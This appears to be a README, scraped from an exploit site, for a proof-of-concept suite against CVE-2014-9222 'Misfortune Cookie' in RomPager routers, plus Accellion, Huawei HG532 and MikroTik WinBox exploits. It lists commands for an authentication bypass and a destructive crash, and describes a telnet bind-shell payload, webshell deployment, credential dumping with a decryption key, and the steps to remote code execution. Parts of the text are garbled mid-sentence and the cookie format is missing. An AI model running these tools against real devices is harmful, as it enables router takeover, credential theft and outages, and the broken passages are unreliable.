## https://sploitus.com/exploit?id=FC88F5FE-B4FC-50D7-BADB-82E69F300083
# CVE-2014-9222 "Misfortune Cookie" PoC suite
Stack overflow in AllegroSoft RomPager's HTTP cookie handling (all versions
)` in `NewStatusURL`, HTTP Digest auth
`dslf-config:admin`; default command opens a telnet bind shell on 9999.
- **`[C]` MikroTik WinBox** (`mikrotik_winbox.py`) - directory-traversal file
read over the WinBox protocol; default reads `flash/rw/store/user.dat` and
decrypts stored credentials (`md5(user + "283i4jfkai3389")` XOR).
All additional PoCs require explicit confirmation in the console.
## Standalone CLI (same engines)
```sh
python3 detect.py http://192.168.1.1 # safe check
python3 auth_bypass.py http://192.168.1.1 # model auto-detected
python3 auth_bypass.py http://192.168.1.1 --restore # re-enable auth
python3 auth_bypass.py http://192.168.1.1 --all # try all known cookies
python3 auth_bypass.py http://192.168.1.1 --brute # exhaustive (VERY slow, crashes)
python3 dos.py http://192.168.1.1 # crash / reboot (DESTRUCTIVE)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D # addresses -> (num, pad)
```
## Files
| file | purpose |
|------|---------|
| `main.py` | interactive console |
| `ui.py` | banner + UI helpers (header/info/warn/err/success/prompt/confirm) |
| `common.py` | fingerprinting, magic-cookie builder, per-model (num, pad) table |
| `detect.py` | non-destructive vulnerability check (version + canary-cookie) |
| `scan.py` | probe a target against all four vuln families (option 8) |
| `auth_bypass.py` | magic-cookie auth bypass with realm auto-detection |
| `dos.py` | oversized-cookie stack smash -> watchdog reboot |
| `accellion_fta.py` | CVE-2021-27101/27102 SQLi -> webshell chain |
| `huawei_hg532.py` | CVE-2017-17215 SOAP command injection |
| `mikrotik_winbox.py` | CVE-2018-14847 WinBox file read / credential dump |
| `rce/derive_cookie.py` | turn `C_Array` + target address into (num, pad) |
| `rce/README.md` | full RCE methodology + exploit math |
| `rce/references/` | 31C3 slides, NCC whitepaper, demystified writeups, layout tables |
## Magic cookie format
Cookie: C=;
`evilnum` and `pad` are firmware-specific. `evilnum` indexes RomPager's
0x28-byte cookie array (`C_Array + evilnum*0x28 + pad` = overwritten
address). The per-model table merged from exploitdb 39739 and the Metasploit
`allegro_rompager_auth_bypass` module is in `common.py`.
## RCE path
Needs one exact firmware image. Steps (see `rce/README.md`): extract rootfs
with `binwalk`, reverse the cookie parser in Ghidra to find the buffer ->
saved `$ra` delta, derive `(num, pad)` with `derive_cookie.py`, validate the
MIPS shellcode against a QEMU-emulated image before touching the live target.
## References
- https://nvd.nist.gov/vuln/detail/CVE-2014-9222
- https://web.archive.org/web/20141231080506/http://mis.fortunecook.ie/
- Metasploit: `auxiliary/scanner/http/allegro_rompager_misfortune_cookie`
and `auxiliary/admin/http/allegro_rompager_auth_bypass`
- ExploitDB 39739 (Misfortune Cookie auth remover)